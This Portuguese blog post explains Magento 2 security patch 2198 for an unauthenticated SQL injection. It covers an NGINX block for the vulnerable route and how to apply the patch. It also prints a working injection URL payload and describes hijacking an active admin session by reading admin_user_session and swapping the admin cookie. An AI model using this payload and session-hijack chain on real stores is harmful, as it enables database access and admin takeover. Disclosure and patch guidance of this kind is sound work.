Patch 2198 para Magento 2

Esse patch de segurança é urgente, a Magento já disponibilizou o patch para download nesta última Quarta-feira, junto com a última versão…

Patch 2198 para Magento 2

Esse patch de segurança é urgente, a Magento já disponibilizou o patch para download nesta última Quarta-feira, junto com a última versão disponível, se sua instalação usa a última versão do Magento 1, 2.3, 2.2 e 2.1 lançada essa semana então pode ficar tranquilo.

Magento 2 Patches to download

O erro é de SQL Injection ou seja qualquer um pode acessar ou modificar o banco de dados da loja, então recomendo que aplique esse patch o quanto antes.

E aqui eu vou mostrar como instalar o patch de segurança, e também como explorar o erro de segurança, tudo isso utilizando a URL:

https://m23.test/catalog/product_frontend_action/synchronize

Você consegue solucionar esse problema usando o NGINX bloquando essa URL acima, apenas com esse snippet:

location ~ \/catalog\/product_frontend_action\/synchronize\/ {         return 404; 
}
Magento 2 — Unauthenticated SQLi

Aplicando o patch de segurança

Para começar acesse a página de downloads de patches, releases e ferramentas da Magento.

Página de downloads de patches, releases e ferramentas da Magento

Eu recomendo que você aplique o patch de segurança utilizanso a maneira que ensinei no post Como aplicar bugfix no core do Magento 2?

Onde está o erro?

Basicamente o erro está em dois arquivos listados abaixo, na maneira como eles tratam a comunicação com o banco de dados através de uma rota.

Magento\Framework\DB\Adapter\Pdo\Mysql

Magento\Catalog\Controller\Product\Frontend\Action\Synchronize

Esse caminho de código está presente desde a versão 2.2, você pode ver aqui um SQL Injection utilizando a rota URL não autorizada.

https://m23.test/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

Explorando o erro

Por favor, não utilize isso para prejudicar lojas Magento 2!

Como podemos fazer qualquer coisa no banco de dados eu obtive a sessão de usuários do admin ativas da tabela admin_user_session utilizando a query SQL.

SELECT * FROM admin_user_session ORDER BY created_at DESC, updated_at DESC LIMIT 1;

Obtive uma sessão ativa como pode ver abaixo.

Depois eu troquei o cookie admin para utilizar o ID da sessão obtido, na URL https://m23.test/admin/admin/dashboard/index via Postman, e logou normal como você pode ver abaixo.

Você pode obter mais detalhes sobre esses patches na página Magento 2.3.1, 2.2.8 and 2.1.17 Security Update.